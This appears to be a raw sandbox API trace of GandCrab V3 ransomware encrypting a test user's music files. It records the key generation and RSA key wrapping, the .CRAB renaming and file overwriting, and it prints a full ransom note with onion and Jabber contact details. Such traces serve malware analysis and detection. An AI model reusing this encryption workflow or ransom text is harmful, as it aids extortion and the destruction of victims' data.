	[0131.271] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\CRAB-DECRYPT.txt"
	[0131.271] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.271] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\CRAB-DECRYPT.txt") returned 65
	[0131.272] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\CRAB-DECRYPT.txt") returned 65
	[0131.272] lstrlenW (lpString=".txt") returned 4
	[0131.272] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.272] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0131.272] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.272] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\CRAB-DECRYPT.txt") returned 65
	[0131.272] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\CRAB-DECRYPT.txt") returned 65
	[0131.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0131.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0131.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0131.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0131.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0131.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0131.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0131.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0131.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0131.273] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.273] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0131.273] lstrcmpW (lpString1="I0iG.m4a", lpString2=".") returned 1
	[0131.273] lstrcmpW (lpString1="I0iG.m4a", lpString2="..") returned 1
	[0131.273] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\", lpString2="I0iG.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a"
	[0131.273] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.273] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a") returned 57
	[0131.273] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a") returned 57
	[0131.273] lstrlenW (lpString=".m4a") returned 4
	[0131.273] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.273] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0131.274] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.274] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a") returned 57
	[0131.274] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a") returned 57
	[0131.274] lstrcmpiW (lpString1="I0iG.m4a", lpString2="desktop.ini") returned 1
	[0131.274] lstrcmpiW (lpString1="I0iG.m4a", lpString2="autorun.inf") returned 1
	[0131.274] lstrcmpiW (lpString1="I0iG.m4a", lpString2="ntuser.dat") returned -1
	[0131.274] lstrcmpiW (lpString1="I0iG.m4a", lpString2="iconcache.db") returned -1
	[0131.274] lstrcmpiW (lpString1="I0iG.m4a", lpString2="bootsect.bak") returned 1
	[0131.274] lstrcmpiW (lpString1="I0iG.m4a", lpString2="boot.ini") returned 1
	[0131.274] lstrcmpiW (lpString1="I0iG.m4a", lpString2="ntuser.dat.log") returned -1
	[0131.274] lstrcmpiW (lpString1="I0iG.m4a", lpString2="thumbs.db") returned -1
	[0131.274] lstrcmpiW (lpString1="I0iG.m4a", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.274] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.274] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a.CRAB") returned 62
	[0131.275] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\i0ig.m4a")) returned 0x20
	[0131.275] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a", dwFileAttributes=0x20) returned 1
	[0131.275] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\i0ig.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\i0ig.m4a.crab")) returned 1
	[0131.277] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.278] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a.CRAB"
	[0131.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a.CRAB.CRAB"
	[0131.278] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0131.280] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.281] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.281] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.281] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0131.281] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0131.281] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.281] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0131.284] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.284] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.284] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0131.284] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0131.285] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.285] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.285] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.285] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0131.288] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e350) returned 1
	[0131.288] CryptGetKeyParam (in: hKey=0x320e350, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0131.288] CryptEncrypt (in: hKey=0x320e350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0131.289] GetLastError () returned 0x0
	[0131.289] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.289] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0131.337] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e150) returned 1
	[0131.337] CryptGetKeyParam (in: hKey=0x320e150, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0131.337] CryptEncrypt (in: hKey=0x320e150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0131.340] GetLastError () returned 0x0
	[0131.340] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0131.340] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\I0iG.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\i0ig.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0131.341] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.342] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0131.343] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0xab14, lpOverlapped=0x0) returned 1
	[0131.354] VirtualAlloc (lpAddress=0x0, dwSize=0xab20, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0131.355] VirtualAlloc (lpAddress=0x0, dwSize=0xab20, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0131.357] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.399] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff54ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.399] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xab20, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0xab20, lpOverlapped=0x0) returned 1
	[0131.400] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.400] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.404] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0131.404] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0131.404] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0131.404] CloseHandle (hObject=0x3ec) returned 1
	[0131.404] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.404] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.405] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.405] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.405] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.405] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.406] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0131.406] lstrcmpW (lpString1="vdr4M 7z-bfQy", lpString2=".") returned 1
	[0131.406] lstrcmpW (lpString1="vdr4M 7z-bfQy", lpString2="..") returned 1
	[0131.406] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\", lpString2="vdr4M 7z-bfQy" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy"
	[0131.406] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\"
	[0131.406] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0131.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0131.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0131.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0131.406] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0131.406] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0131.407] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0131.407] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0131.407] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0131.407] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0131.407] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.407] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\\\CRAB-DECRYPT.txt") returned 80
	[0131.407] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0131.408] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0131.408] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0131.409] CloseHandle (hObject=0x3ec) returned 1
	[0131.409] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.409] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\") returned 63
	[0131.409] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\*"
	[0131.409] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x320e0d0
	[0131.410] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0131.410] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0131.410] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0131.410] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0131.410] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0131.410] lstrcmpW (lpString1="1rVJ.m4a", lpString2=".") returned 1
	[0131.410] lstrcmpW (lpString1="1rVJ.m4a", lpString2="..") returned 1
	[0131.410] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\", lpString2="1rVJ.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a"
	[0131.410] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.410] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a") returned 71
	[0131.410] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a") returned 71
	[0131.410] lstrlenW (lpString=".m4a") returned 4
	[0131.410] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.411] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0131.411] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.412] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a") returned 71
	[0131.412] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a") returned 71
	[0131.412] lstrcmpiW (lpString1="1rVJ.m4a", lpString2="desktop.ini") returned -1
	[0131.412] lstrcmpiW (lpString1="1rVJ.m4a", lpString2="autorun.inf") returned -1
	[0131.412] lstrcmpiW (lpString1="1rVJ.m4a", lpString2="ntuser.dat") returned -1
	[0131.412] lstrcmpiW (lpString1="1rVJ.m4a", lpString2="iconcache.db") returned -1
	[0131.412] lstrcmpiW (lpString1="1rVJ.m4a", lpString2="bootsect.bak") returned -1
	[0131.412] lstrcmpiW (lpString1="1rVJ.m4a", lpString2="boot.ini") returned -1
	[0131.412] lstrcmpiW (lpString1="1rVJ.m4a", lpString2="ntuser.dat.log") returned -1
	[0131.412] lstrcmpiW (lpString1="1rVJ.m4a", lpString2="thumbs.db") returned -1
	[0131.412] lstrcmpiW (lpString1="1rVJ.m4a", lpString2="CRAB-DECRYPT.txt") returned -1
	[0131.412] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.412] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a.CRAB") returned 76
	[0131.412] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\1rvj.m4a")) returned 0x20
	[0131.413] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a", dwFileAttributes=0x20) returned 1
	[0131.413] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\1rvj.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\1rvj.m4a.crab")) returned 1
	[0131.414] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.415] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a.CRAB"
	[0131.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a.CRAB.CRAB"
	[0131.415] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e7c0) returned 1
	[0131.418] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.418] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.418] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.418] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0131.418] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
